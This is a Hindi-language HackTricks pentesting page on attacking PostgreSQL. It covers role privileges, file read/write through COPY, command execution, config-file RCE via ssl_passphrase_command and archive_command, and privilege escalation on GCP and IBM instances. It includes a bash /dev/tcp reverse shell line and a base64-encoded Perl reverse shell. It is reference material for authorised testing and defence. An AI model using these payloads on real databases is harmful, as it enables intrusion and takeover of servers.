5432,5433 - Pentesting Postgresql
Last updated
Last updated
Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बना और स्वचालित कर सकें। आज ही एक्सेस प्राप्त करें:
PostgreSQL को एक ऑब्जेक्ट-रिलेशनल डेटाबेस सिस्टम के रूप में वर्णित किया गया है जो ओपन सोर्स है। यह सिस्टम न केवल SQL भाषा का उपयोग करता है बल्कि इसे अतिरिक्त सुविधाओं के साथ बढ़ाता है। इसकी क्षमताएँ इसे विभिन्न प्रकार के डेटा और संचालन को संभालने की अनुमति देती हैं, जिससे यह डेवलपर्स और संगठनों के लिए एक बहुपरकारी विकल्प बनता है।
डिफ़ॉल्ट पोर्ट: 5432, और यदि यह पोर्ट पहले से ही उपयोग में है तो ऐसा लगता है कि पोस्टग्रेएसक्यूएल अगला पोर्ट (संभवतः 5433) का उपयोग करेगा जो उपयोग में नहीं है।
यदि \list
चलाते समय आपको rdsadmin
नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक AWS postgresql डेटाबेस के अंदर हैं।
PostgreSQL डेटाबेस का दुरुपयोग करने के बारे में अधिक जानकारी के लिए देखें:
PostgreSQL injectionइस शोध के अनुसार, जब एक कनेक्शन प्रयास विफल होता है, dblink
एक sqlclient_unable_to_establish_sqlconnection
अपवाद फेंकता है जिसमें त्रुटि का विवरण शामिल होता है। इन विवरणों के उदाहरण नीचे सूचीबद्ध हैं।
होस्ट डाउन है
DETAIL: सर्वर से कनेक्ट नहीं हो सका: होस्ट के लिए कोई मार्ग नहीं है क्या सर्वर "1.2.3.4" पर चल रहा है और पोर्ट 5678 पर TCP/IP कनेक्शन स्वीकार कर रहा है?
पोर्ट बंद है
पोर्ट खुला है
or
पोर्ट खुला है या फ़िल्टर किया गया है
In PL/pgSQL फ़ंक्शंस में, वर्तमान में अपवाद विवरण प्राप्त करना संभव नहीं है। हालाँकि, यदि आपके पास PostgreSQL सर्वर तक सीधी पहुँच है, तो आप आवश्यक जानकारी प्राप्त कर सकते हैं। यदि सिस्टम तालिकाओं से उपयोगकर्ता नाम और पासवर्ड निकालना संभव नहीं है, तो आप पिछले अनुभाग में चर्चा की गई शब्दसूची हमले की विधि का उपयोग करने पर विचार कर सकते हैं, क्योंकि यह सकारात्मक परिणाम दे सकता है।
rolsuper
भूमिका के पास सुपरयूजर विशेषाधिकार हैं
rolinherit
भूमिका अपने सदस्यता वाली भूमिकाओं के विशेषाधिकार स्वचालित रूप से विरासत में लेती है
rolcreaterole
भूमिका अधिक भूमिकाएँ बना सकती है
rolcreatedb
भूमिका डेटाबेस बना सकती है
rolcanlogin
भूमिका लॉग इन कर सकती है। अर्थात, इस भूमिका को प्रारंभिक सत्र प्राधिकरण पहचानकर्ता के रूप में दिया जा सकता है
rolreplication
भूमिका एक पुनरुत्पादन भूमिका है। एक पुनरुत्पादन भूमिका पुनरुत्पादन कनेक्शन आरंभ कर सकती है और पुनरुत्पादन स्लॉट बना और हटा सकती है।
rolconnlimit
उन भूमिकाओं के लिए जो लॉग इन कर सकती हैं, यह इस भूमिका द्वारा बनाए जा सकने वाले अधिकतम समवर्ती कनेक्शनों की संख्या निर्धारित करता है। -1 का अर्थ है कोई सीमा नहीं।
rolpassword
पासवर्ड नहीं (हमेशा ********
के रूप में पढ़ता है)
rolvaliduntil
पासवर्ड समाप्ति समय (केवल पासवर्ड प्रमाणीकरण के लिए उपयोग किया जाता है); यदि कोई समाप्ति नहीं है तो शून्य
rolbypassrls
भूमिका हर पंक्ति-स्तरीय सुरक्षा नीति को बायपास करती है, अधिक जानकारी के लिए अनुभाग 5.8 देखें।
rolconfig
रन-टाइम कॉन्फ़िगरेशन वेरिएबल के लिए भूमिका-विशिष्ट डिफ़ॉल्ट
oid
भूमिका की आईडी
यदि आप pg_execute_server_program
के सदस्य हैं तो आप कार्यक्रमों को निष्पादित कर सकते हैं
यदि आप pg_read_server_files
के सदस्य हैं तो आप फाइलों को पढ़ सकते हैं
यदि आप pg_write_server_files
के सदस्य हैं तो आप फाइलों को लिख सकते हैं
ध्यान दें कि Postgres में एक उपयोगकर्ता, एक समूह और एक भूमिका एक ही है। यह केवल इस पर निर्भर करता है कि आप इसे कैसे उपयोग करते हैं और यदि आप इसे लॉगिन करने की अनुमति देते हैं।
इस कमिट से परिभाषित DEFAULT_ROLE_READ_SERVER_FILES
समूह (जिसे pg_read_server_files
कहा जाता है) और सुपर उपयोगकर्ता किसी भी पथ पर COPY
विधि का उपयोग कर सकते हैं (देखें convert_and_check_filename
में genfile.c
):
याद रखें कि यदि आप सुपर यूजर नहीं हैं लेकिन आपके पास CREATEROLE अनुमतियाँ हैं, तो आप अपने आप को उस समूह का सदस्य बना सकते हैं:
कुछ अन्य postgres फ़ंक्शन हैं जिन्हें फ़ाइल पढ़ने या निर्देशिका सूचीबद्ध करने के लिए उपयोग किया जा सकता है। केवल सुपरयूज़र्स और स्पष्ट अनुमतियों वाले उपयोगकर्ता ही उनका उपयोग कर सकते हैं:
आप अधिक फ़ंक्शन https://www.postgresql.org/docs/current/functions-admin.html पर पा सकते हैं
केवल सुपर उपयोगकर्ता और pg_write_server_files
के सदस्य फ़ाइलें लिखने के लिए कॉपी का उपयोग कर सकते हैं।
याद रखें कि यदि आप सुपर यूजर नहीं हैं लेकिन आपके पास CREATEROLE
अनुमतियाँ हैं, तो आप अपने आप को उस समूह का सदस्य बना सकते हैं:
याद रखें कि COPY नई लाइन कैरक्टर को संभाल नहीं सकता, इसलिए भले ही आप एक base64 पेलोड का उपयोग कर रहे हों, आपको एक लाइन में भेजने की आवश्यकता है।
इस तकनीक की एक बहुत महत्वपूर्ण सीमा यह है कि copy
बाइनरी फ़ाइलों को लिखने के लिए उपयोग नहीं किया जा सकता क्योंकि यह कुछ बाइनरी मानों को संशोधित करता है।
हालांकि, बड़े बाइनरी फ़ाइलों को अपलोड करने के लिए अन्य तकनीकें हैं:
Big Binary Files Upload (PostgreSQL)बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफार्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही https://go.intigriti.com/hacktricks पर हमारे साथ जुड़ें, और $100,000 तक के बाउंटी कमाना शुरू करें!
यदि आपके पास PostgreSQL सर्वर फ़ाइलों को पढ़ने और लिखने के लिए आवश्यक अनुमतियाँ हैं, तो आप संबंधित फ़ाइल नोड को ओवरराइट करके सर्वर पर किसी भी तालिका को अपडेट कर सकते हैं PostgreSQL डेटा निर्देशिका में। इस तकनीक के बारे में अधिक यहाँ।
आवश्यक कदम:
PostgreSQL डेटा निर्देशिका प्राप्त करें
नोट: यदि आप सेटिंग्स से वर्तमान डेटा निर्देशिका पथ प्राप्त करने में असमर्थ हैं, तो आप SELECT version()
क्वेरी के माध्यम से प्रमुख PostgreSQL संस्करण को क्वेरी कर सकते हैं और पथ को ब्रूट-फोर्स करने का प्रयास कर सकते हैं। PostgreSQL के Unix इंस्टॉलेशन पर सामान्य डेटा निर्देशिका पथ हैं /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
। एक सामान्य क्लस्टर नाम है main
। 2. लक्षित तालिका से संबंधित फ़ाइल नोड के लिए सापेक्ष पथ प्राप्त करें
यह क्वेरी कुछ इस तरह लौटानी चाहिए base/3/1337
। डिस्क पर पूरा पथ होगा $DATA_DIRECTORY/base/3/1337
, यानी /var/lib/postgresql/13/main/base/3/1337
। 3. lo_*
फ़ंक्शंस के माध्यम से फ़ाइल नोड डाउनलोड करें
लक्षित तालिका से संबंधित डेटा प्रकार प्राप्त करें
PostgreSQL फ़ाइल नोड संपादक का उपयोग करें फ़ाइल नोड को संपादित करने के लिए; सभी rol*
बूलियन फ्लैग को पूर्ण अनुमतियों के लिए 1 पर सेट करें।
6. संपादित फ़ाइल नोड को lo_*
फ़ंक्शंस के माध्यम से फिर से अपलोड करें, और डिस्क पर मूल फ़ाइल को ओवरराइट करें
(वैकल्पिक) महंगे SQL क्वेरी को चलाकर इन-मेमोरी तालिका कैश को साफ़ करें
अब आपको PostgreSQL में अपडेट की गई तालिका मान दिखाई देनी चाहिए।
आप pg_authid
तालिका को संपादित करके सुपरएडमिन भी बन सकते हैं। देखें निम्नलिखित अनुभाग।
चूंकि संस्करण 9.3, केवल सुपर उपयोगकर्ता और pg_execute_server_program
समूह के सदस्य RCE के लिए कॉपी का उपयोग कर सकते हैं (एक्सफिल्ट्रेशन के साथ उदाहरण:
उदाहरण exec के लिए:
याद रखें कि यदि आप सुपर यूजर नहीं हैं लेकिन आपके पास CREATEROLE
अनुमतियाँ हैं, तो आप अपने आप को उस समूह का सदस्य बना सकते हैं:
या metasploit से multi/postgres/postgres_copy_from_program_cmd_exec
मॉड्यूल का उपयोग करें।
इस भेद्यता के बारे में अधिक जानकारी यहां है। जबकि इसे CVE-2019-9193 के रूप में रिपोर्ट किया गया था, Postges ने घोषणा की कि यह एक विशेषता है और इसे ठीक नहीं किया जाएगा।
एक बार जब आप पिछले पोस्ट से सीख चुके हैं कैसे बाइनरी फ़ाइलें अपलोड करें, तो आप एक PostgreSQL एक्सटेंशन अपलोड करके और इसे लोड करके RCE प्राप्त करने की कोशिश कर सकते हैं।
RCE with PostgreSQL Extensionsनिम्नलिखित RCE वेक्टर विशेष रूप से सीमित SQLi संदर्भों में उपयोगी हैं, क्योंकि सभी चरणों को नेस्टेड SELECT बयानों के माध्यम से किया जा सकता है
PostgreSQL की कॉन्फ़िगरेशन फ़ाइल postgres उपयोगकर्ता द्वारा लिखी जा सकती है, जो डेटाबेस चला रहा है, इसलिए सुपरयूजर के रूप में, आप फ़ाइलों को फ़ाइल सिस्टम में लिख सकते हैं, और इसलिए आप इस फ़ाइल को ओवरराइट कर सकते हैं।
इस तकनीक के बारे में अधिक जानकारी यहां है।
कॉन्फ़िगरेशन फ़ाइल में कुछ दिलचस्प विशेषताएँ हैं जो RCE की ओर ले जा सकती हैं:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
डेटाबेस की निजी कुंजी का पथ
ssl_passphrase_command = ''
यदि निजी फ़ाइल पासवर्ड द्वारा सुरक्षित है (एन्क्रिप्टेड) तो PostgreSQL इस विशेषता में निर्दिष्ट कमांड को निष्पादित करेगा।
ssl_passphrase_command_supports_reload = off
यदि यह विशेषता चालू है तो यदि कुंजी पासवर्ड द्वारा सुरक्षित है तो कमांड निष्पादित किया जाएगा जब pg_reload_conf()
निष्पादित किया जाएगा।
फिर, एक हमलावर को आवश्यकता होगी:
सर्वर से निजी कुंजी डंप करें
डाउनलोड की गई निजी कुंजी को एन्क्रिप्ट करें:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
ओवरराइट करें
वर्तमान PostgreSQL कॉन्फ़िगरेशन को डंप करें
उल्लेखित विशेषताओं की कॉन्फ़िगरेशन के साथ कॉन्फ़िगरेशन को ओवरराइट करें:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
pg_reload_conf()
निष्पादित करें
जब मैंने इसका परीक्षण किया, तो मैंने देखा कि यह केवल तभी काम करेगा जब निजी कुंजी फ़ाइल के पास 640 विशेषाधिकार हों, यह रूट द्वारा स्वामित्व में हो और समूह ssl-cert या postgres (ताकि postgres उपयोगकर्ता इसे पढ़ सके) हो, और इसे /var/lib/postgresql/12/main में रखा गया हो।
इस कॉन्फ़िगरेशन और WAL के बारे में अधिक जानकारी यहां।
कॉन्फ़िगरेशन फ़ाइल में एक और विशेषता जो शोषण योग्य है वह है archive_command
।
इसके काम करने के लिए, archive_mode
सेटिंग को 'on'
या 'always'
होना चाहिए। यदि यह सत्य है, तो हम archive_command
में कमांड को ओवरराइट कर सकते हैं और इसे WAL (write-ahead logging) संचालन के माध्यम से निष्पादित करने के लिए मजबूर कर सकते हैं।
सामान्य चरण हैं:
जांचें कि क्या आर्काइव मोड सक्षम है: SELECT current_setting('archive_mode')
लोड करें archive_command
को पेलोड के साथ। उदाहरण के लिए, एक रिवर्स शेल: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
कॉन्फ़िगरेशन को फिर से लोड करें: SELECT pg_reload_conf()
WAL संचालन को चलाने के लिए मजबूर करें, जो आर्काइव कमांड को कॉल करेगा: SELECT pg_switch_wal()
या कुछ PostgreSQL संस्करणों के लिए SELECT pg_switch_xlog()
इस तकनीक के बारे में अधिक जानकारी यहां है।
यह हमला वेक्टर निम्नलिखित कॉन्फ़िगरेशन वेरिएबल का लाभ उठाता है:
session_preload_libraries
-- लाइब्रेरी जो PostgreSQL सर्वर द्वारा क्लाइंट कनेक्शन पर लोड की जाएंगी।
dynamic_library_path
-- निर्देशिकाओं की सूची जहां PostgreSQL सर्वर लाइब्रेरी के लिए खोज करेगा।
हम dynamic_library_path
मान को एक निर्देशिका में सेट कर सकते हैं, जो डेटाबेस चला रहे postgres
उपयोगकर्ता द्वारा लिखी जा सके, जैसे /tmp/
निर्देशिका, और वहां एक दुर्भावनापूर्ण .so
ऑब्जेक्ट अपलोड करें। अगला, हम PostgreSQL सर्वर को हमारे नए अपलोड किए गए लाइब्रेरी को लोड करने के लिए मजबूर करेंगे, इसे session_preload_libraries
वेरिएबल में शामिल करके।
हमले के चरण हैं:
मूल postgresql.conf
डाउनलोड करें
/tmp/
निर्देशिका को dynamic_library_path
मान में शामिल करें, जैसे dynamic_library_path = '/tmp:$libdir'
session_preload_libraries
मान में दुर्भावनापूर्ण लाइब्रेरी का नाम शामिल करें, जैसे session_preload_libraries = 'payload.so'
SELECT version()
क्वेरी के माध्यम से प्रमुख PostgreSQL संस्करण की जांच करें
सही PostgreSQL dev पैकेज के साथ दुर्भावनापूर्ण लाइब्रेरी कोड को संकलित करें उदाहरण कोड:
कोड संकलित करना:
चरण 2-3 में बनाए गए दुर्भावनापूर्ण postgresql.conf
को अपलोड करें और मूल को ओवरराइट करें
चरण 5 से payload.so
को /tmp
निर्देशिका में अपलोड करें
सर्वर कॉन्फ़िगरेशन को सर्वर को पुनरारंभ करके या SELECT pg_reload_conf()
क्वेरी को लागू करके फिर से लोड करें
अगली DB कनेक्शन पर, आपको रिवर्स शेल कनेक्शन प्राप्त होगा।
दस्तावेज़ों के अनुसार: CREATEROLE
विशेषाधिकार वाले भूमिकाएँ किसी भी भूमिका में सदस्यता दे या रोक सकती हैं जो सुपरयूजर नहीं है।
तो, यदि आपके पास CREATEROLE
अनुमति है, तो आप अन्य भूमिकाओं (जो सुपरयूजर नहीं हैं) को खुद को पहुंच प्रदान कर सकते हैं जो आपको फ़ाइलें पढ़ने और लिखने और कमांड निष्पादित करने का विकल्प दे सकती हैं:
इस भूमिका वाले उपयोगकर्ता अन्य गैर-सुपरयूजर्स के पासवर्ड को भी बदल सकते हैं:
यह काफी सामान्य है कि स्थानीय उपयोगकर्ता PostgreSQL में बिना कोई पासवर्ड प्रदान किए लॉगिन कर सकते हैं। इसलिए, एक बार जब आप कोड निष्पादित करने की अनुमति प्राप्त कर लेते हैं, तो आप इन अनुमतियों का दुरुपयोग करके SUPERUSER
भूमिका प्राप्त कर सकते हैं:
यह आमतौर पर pg_hba.conf
फ़ाइल में निम्नलिखित पंक्तियों के कारण संभव है:
इस लेख में बताया गया है कि कैसे privesc करना संभव था Postgres GCP में ALTER TABLE विशेषाधिकार का दुरुपयोग करके जो उपयोगकर्ता को दिया गया था।
जब आप किसी अन्य उपयोगकर्ता को एक तालिका का मालिक बनाने की कोशिश करते हैं, तो आपको एक त्रुटि प्राप्त होनी चाहिए जो इसे रोकती है, लेकिन स्पष्ट रूप से GCP ने उस विकल्प को नॉन-सुपरयूजर postgres उपयोगकर्ता को GCP में दिया:
इस विचार को इस तथ्य के साथ जोड़ते हुए कि जब INSERT/UPDATE/ANALYZE आदेश एक सूचकांक फ़ंक्शन वाली तालिका पर निष्पादित किए जाते हैं, तो फ़ंक्शन को तालिका मालिक के अनुमतियों के साथ आदेश के हिस्से के रूप में कॉल किया जाता है। एक फ़ंक्शन के साथ एक सूचकांक बनाना और उस तालिका पर एक सुपर उपयोगकर्ता को मालिकाना अधिकार देना संभव है, और फिर उस तालिका पर ANALYZE चलाना संभव है जिसमें दुर्भावनापूर्ण फ़ंक्शन होगा जो आदेश निष्पादित करने में सक्षम होगा क्योंकि यह मालिक के विशेषाधिकारों का उपयोग कर रहा है।
एक नई तालिका बनाने से शुरू करें।
तालिका में कुछ अप्रासंगिक सामग्री डालें ताकि इंडेक्स फ़ंक्शन के लिए डेटा प्रदान किया जा सके।
एक दुर्भावनापूर्ण इंडेक्स फ़ंक्शन विकसित करें जिसमें कोड निष्पादन पेलोड हो, जिससे अनधिकृत आदेशों को निष्पादित करने की अनुमति मिले।
तालिका के मालिक को "cloudsqladmin" में ALTER करें, जो GCP की सुपरयूजर भूमिका है जिसका उपयोग विशेष रूप से Cloud SQL द्वारा डेटाबेस को प्रबंधित और बनाए रखने के लिए किया जाता है।
तालिका पर एक ANALYZE ऑपरेशन करें। यह क्रिया PostgreSQL इंजन को तालिका के मालिक "cloudsqladmin" के उपयोगकर्ता संदर्भ में स्विच करने के लिए मजबूर करती है। परिणामस्वरूप, दुर्भावनापूर्ण इंडेक्स फ़ंक्शन "cloudsqladmin" की अनुमतियों के साथ कॉल किया जाता है, जिससे पहले से अनधिकृत शेल कमांड का निष्पादन संभव हो जाता है।
PostgreSQL में, यह प्रवाह कुछ इस तरह दिखता है:
फिर, shell_commands_results
तालिका में निष्पादित कोड का आउटपुट होगा:
कुछ गलत कॉन्फ़िगर किए गए postgresql उदाहरण किसी भी स्थानीय उपयोगकर्ता के लॉगिन की अनुमति दे सकते हैं, यह dblink
function का उपयोग करके 127.0.0.1 से स्थानीय रूप से लॉगिन करना संभव है:
ध्यान दें कि पिछले क्वेरी के काम करने के लिए फंक्शन dblink
का होना आवश्यक है। यदि यह नहीं है, तो आप इसे बनाने की कोशिश कर सकते हैं।
यदि आपके पास अधिक विशेषाधिकार वाले उपयोगकर्ता का पासवर्ड है, लेकिन उस उपयोगकर्ता को बाहरी IP से लॉगिन करने की अनुमति नहीं है, तो आप उस उपयोगकर्ता के रूप में क्वेरी निष्पादित करने के लिए निम्नलिखित फ़ंक्शन का उपयोग कर सकते हैं:
यह जांचना संभव है कि क्या यह फ़ंक्शन मौजूद है:
इस लेख में, pentesters एक postgres उदाहरण के अंदर privesc करने में सक्षम थे जो IBM द्वारा प्रदान किया गया था, क्योंकि उन्होंने SECURITY DEFINER ध्वज के साथ यह फ़ंक्शन पाया:
जैसा कि दस्तावेज़ों में समझाया गया है, एक फ़ंक्शन SECURITY DEFINER के साथ निष्पादित होता है उसका मालिक उपयोगकर्ता के विशेषाधिकारों के साथ। इसलिए, यदि फ़ंक्शन SQL Injection के लिए संवेदनशील है या कुछ विशेषाधिकार प्राप्त क्रियाएँ कर रहा है जिनके पैरामीटर हमलावर द्वारा नियंत्रित हैं, तो इसका दुरुपयोग करके postgres के अंदर विशेषाधिकार बढ़ाए जा सकते हैं।
पिछले कोड की पंक्ति 4 में आप देख सकते हैं कि फ़ंक्शन में SECURITY DEFINER ध्वज है।
And then execute commands:
PL/pgSQL एक पूर्ण विशेषताओं वाला प्रोग्रामिंग भाषा है जो SQL की तुलना में अधिक प्रक्रियात्मक नियंत्रण प्रदान करता है। यह लूप और अन्य नियंत्रण संरचनाओं का उपयोग करके प्रोग्राम लॉजिक को बढ़ाने की अनुमति देता है। इसके अलावा, SQL कथन और ट्रिगर्स उन कार्यों को कॉल करने की क्षमता रखते हैं जो PL/pgSQL भाषा का उपयोग करके बनाए गए हैं। यह एक अधिक व्यापक और बहुपरकारी दृष्टिकोण की अनुमति देता है डेटाबेस प्रोग्रामिंग और स्वचालन के लिए। आप इस भाषा का दुरुपयोग कर सकते हैं ताकि PostgreSQL से उपयोगकर्ता क्रेडेंशियल्स को बर्टफोर्स करने के लिए कहा जा सके।
PL/pgSQL Password Bruteforceनिम्नलिखित प्रिवेस्क वेक्टर विशेष रूप से सीमित SQLi संदर्भों में उपयोगी है, क्योंकि सभी चरणों को नेस्टेड SELECT कथनों के माध्यम से किया जा सकता है
यदि आप PostgreSQL सर्वर फ़ाइलों को पढ़ और लिख सकते हैं, तो आप एक सुपरयूजर बन सकते हैं PostgreSQL के ऑन-डिस्क फ़ाइलनोड को ओवरराइट करके, जो आंतरिक pg_authid
तालिका से संबंधित है।
इस तकनीक के बारे में अधिक पढ़ें यहां।
हमले के चरण हैं:
PostgreSQL डेटा निर्देशिका प्राप्त करें
pg_authid
तालिका से संबंधित फ़ाइलनोड के लिए एक सापेक्ष पथ प्राप्त करें
lo_*
कार्यों के माध्यम से फ़ाइलनोड डाउनलोड करें
pg_authid
तालिका से संबंधित डेटा प्रकार प्राप्त करें
PostgreSQL फ़ाइलनोड संपादक का उपयोग करें फ़ाइलनोड संपादित करने के लिए; सभी rol*
बूलियन फ्लैग को पूर्ण अनुमतियों के लिए 1 पर सेट करें।
संपादित फ़ाइलनोड को lo_*
कार्यों के माध्यम से फिर से अपलोड करें, और डिस्क पर मूल फ़ाइल को ओवरराइट करें
(वैकल्पिक) महंगे SQL प्रश्न को चलाकर इन-मेमोरी तालिका कैश को साफ करें
अब आपके पास पूर्ण सुपरएडमिन के अधिकार होने चाहिए।
postgresql.conf फ़ाइल के अंदर आप निम्नलिखित को बदलकर postgresql लॉग सक्षम कर सकते हैं:
फिर, सेवा को पुनः प्रारंभ करें।
pgadmin PostgreSQL के लिए एक प्रशासन और विकास प्लेटफ़ॉर्म है। आप pgadmin4.db फ़ाइल के अंदर पासवर्ड पा सकते हैं। आप उन्हें स्क्रिप्ट के अंदर decrypt फ़ंक्शन का उपयोग करके डिक्रिप्ट कर सकते हैं: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
PostgreSQL में क्लाइंट प्रमाणीकरण एक कॉन्फ़िगरेशन फ़ाइल pg_hba.conf के माध्यम से प्रबंधित किया जाता है। इस फ़ाइल में रिकॉर्ड की एक श्रृंखला होती है, प्रत्येक एक कनेक्शन प्रकार, क्लाइंट आईपी पता रेंज (यदि लागू हो), डेटाबेस नाम, उपयोगकर्ता नाम, और मेल खाने वाले कनेक्शनों के लिए उपयोग की जाने वाली प्रमाणीकरण विधि को निर्दिष्ट करता है। पहला रिकॉर्ड जो कनेक्शन प्रकार, क्लाइंट पता, अनुरोधित डेटाबेस, और उपयोगकर्ता नाम से मेल खाता है, प्रमाणीकरण के लिए उपयोग किया जाता है। यदि प्रमाणीकरण विफल होता है तो कोई बैकअप या फॉलबैक नहीं होता। यदि कोई रिकॉर्ड मेल नहीं खाता है, तो एक्सेस अस्वीकृत कर दिया जाता है।
pg_hba.conf में उपलब्ध पासवर्ड-आधारित प्रमाणीकरण विधियाँ md5, crypt, और password हैं। ये विधियाँ पासवर्ड के ट्रांसमिशन के तरीके में भिन्न होती हैं: MD5-हैश किया हुआ, क्रिप्ट-एन्क्रिप्टेड, या क्लियर-टेक्स्ट। यह ध्यान रखना महत्वपूर्ण है कि क्रिप्ट विधि का उपयोग उन पासवर्ड के साथ नहीं किया जा सकता है जो pg_authid में एन्क्रिप्टेड हैं।
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)